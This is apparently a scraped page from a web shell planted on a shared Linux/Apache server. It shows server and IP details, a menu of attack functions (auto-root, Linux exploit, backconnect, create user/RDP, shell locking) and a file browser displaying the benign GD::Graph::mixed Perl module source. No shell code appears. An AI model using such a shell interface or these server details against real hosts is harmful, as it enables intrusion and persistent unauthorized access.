Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
GD /
Graph /
[ HOME SHELL ]
Name
Size
Permission
Action
Data.pm
16.79
KB
-rw-r--r--
Error.pm
8.96
KB
-rw-r--r--
FAQ.pod
5.77
KB
-rw-r--r--
area.pm
2.91
KB
-rw-r--r--
axestype.pm
60.28
KB
-rw-r--r--
axestype3d.pm
22.78
KB
-rw-r--r--
bars.pm
12.3
KB
-rw-r--r--
bars3d.pm
9.77
KB
-rw-r--r--
colour.pm
7.57
KB
-rw-r--r--
cylinder.pm
4.2
KB
-rw-r--r--
cylinder3d.pm
919
B
-rw-r--r--
hbars.pm
1.59
KB
-rw-r--r--
lines.pm
4.34
KB
-rw-r--r--
lines3d.pm
16.53
KB
-rw-r--r--
linespoints.pm
1.19
KB
-rw-r--r--
mixed.pm
2.91
KB
-rw-r--r--
pie.pm
12.58
KB
-rw-r--r--
pie3d.pm
8.03
KB
-rw-r--r--
points.pm
4.99
KB
-rw-r--r--
utils.pm
1.22
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mixed.pm
#========================================================================== # Copyright (c) 1995-1998 Martien Verbruggen #-------------------------------------------------------------------------- # # Name: # GD::Graph::mixed.pm # # $Id: mixed.pm,v 1.13 2007/04/26 03:16:09 ben Exp $ # #========================================================================== package GD::Graph::mixed; ($GD::Graph::mixed::VERSION) = '$Revision: 1.13 $' =~ /\s([\d.]+)/; use strict; use GD::Graph::axestype; use GD::Graph::lines; use GD::Graph::points; use GD::Graph::linespoints; use GD::Graph::bars; use GD::Graph::area; use Carp; # Even though multiple inheritance is not really a good idea, I will # do it here, because I need the functionality of the markers and the # line types We'll include axestype as the first one, to make sure # that's where we look first for methods. @GD::Graph::mixed::ISA = qw( GD::Graph::axestype GD::Graph::bars GD::Graph::lines GD::Graph::points ); sub initialise { my $self = shift; $self->SUPER::initialise(); } sub correct_width { my $self = shift; return $self->{correct_width} if defined $self->{correct_width}; for my $type ($self->{default_type}, @{$self->{types}}) { return 1 if $type eq 'bars'; } } sub draw_data_set { my $self = shift; my $ds = $_[0]; my $rc; my $type = $self->types($ds); # Try to execute the draw_data_set function in the package # specified by type $rc = eval '$self->GD::Graph::'.$type.'::draw_data_set(@_)'; # If we fail, we try it in the package specified by the # default_type, and warn the user if ($@) { carp "Set $ds, unknown type $type, assuming $self->{default_type}"; #carp "Error message: $@"; $rc = eval '$self->GD::Graph::'. $self->{default_type}.'::draw_data_set(@_)'; } # If even that fails, we bail out croak "Set $ds: unknown default type $self->{default_type}" if $@; return $rc; } sub draw_legend_marker { my $self = shift; my $ds = $_[0]; my $type = $self->types($ds); eval '$self->GD::Graph::'.$type.'::draw_legend_marker(@_)'; eval '$self->GD::Graph::'. $self->{default_type}.'::draw_legend_marker(@_)' if $@; } # undocumented as can be: returns the type-list (with the default # inserted as appropriate), or the type associated with a particular # (1-indexed) dataset number (undef if there is no such dataset). The # range check means that this cannot be called when there is no # GD::Graph::Data object in $self->{_data}. sub types { my $self = shift; if ( defined $_[0] ) { $_[0] > 0 && $_[0] <= $self->{_data}->num_sets ? $self->{types}->[$_[0] - 1] || $self->{default_type} : undef } else { map { $self->{types}->[$_ - 1] || $self->{default_type} } 1 .. $self->{_data}->num_sets; } } "Just another true value";
Close